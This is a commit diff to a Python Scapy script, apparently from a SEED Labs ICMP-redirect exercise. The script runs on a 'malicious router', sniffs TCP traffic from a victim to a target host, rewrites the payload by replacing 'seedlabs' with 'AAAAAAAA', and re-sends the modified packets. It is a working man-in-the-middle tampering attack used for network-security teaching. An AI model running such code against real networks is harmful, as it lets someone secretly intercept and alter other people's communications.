updated some material

ICMP_Directing/Labsetup/volumes/mitm_attack.py

@@ -1,24 +1,34 @@
 #!/usr/bin/env python3
-from scapy.all import *
+from scapy.all import Ether, IP, TCP, get_if_hwaddr, send, sniff
+
+VICTIM_IP = "10.9.0.5"
+TARGET_IP = "192.168.60.5"
+LOCAL_MAC = get_if_hwaddr("eth0")
+
 
 def spoof_pkt(pkt):
-    # 如果是发往目标 192.168.60.5 的 TCP 数据包
-    if IP in pkt and pkt[IP].dst == '192.168.60.5' and TCP in pkt:
-        newpkt = IP(bytes(pkt[IP]))
-        del(newpkt.chksum)
-        del(newpkt[TCP].payload)
-        del(newpkt[TCP].chksum)
+    if IP not in pkt or TCP not in pkt or pkt[IP].src != VICTIM_IP or pkt[IP].dst != TARGET_IP:
+        return
+    if Ether in pkt and pkt[Ether].dst != LOCAL_MAC:
+        return
 
-        if pkt[TCP].payload:
-            data = pkt[TCP].payload.load
-            print(f"Original data: {data}")
-            # 修改内容，假设名字是 seedlabs -> AAAAAAAA
-            newdata = data.replace(b'seedlabs', b'AAAAAAAA')
-            send(newpkt/newdata, verbose=False)
-        else:
-            send(newpkt, verbose=False)
+    newpkt = IP(bytes(pkt[IP]))
+    del newpkt.chksum
+    del newpkt[TCP].payload
+    del newpkt[TCP].chksum
 
-# 过滤器只捕获受害者的包，避免拦截自己发出的包导致死循环
-f = 'tcp and src 10.9.0.5'
-print("MITM script starting on malicious-router...")
-sniff(iface='eth0', filter=f, prn=spoof_pkt)
+    if pkt[TCP].payload:
+        data = pkt[TCP].payload.load
+        print(f"Original data: {data}")
+        newdata = data.replace(b"seedlabs", b"AAAAAAAA")
+        send(newpkt / newdata, verbose=False)
+    else:
+        send(newpkt, verbose=False)
+
+
+print(f"MITM script starting on malicious-router (mac={LOCAL_MAC})...")
+sniff(
+    iface="eth0",
+    filter=f"tcp and src host {VICTIM_IP} and dst host {TARGET_IP}",
+    prn=spoof_pkt,
+)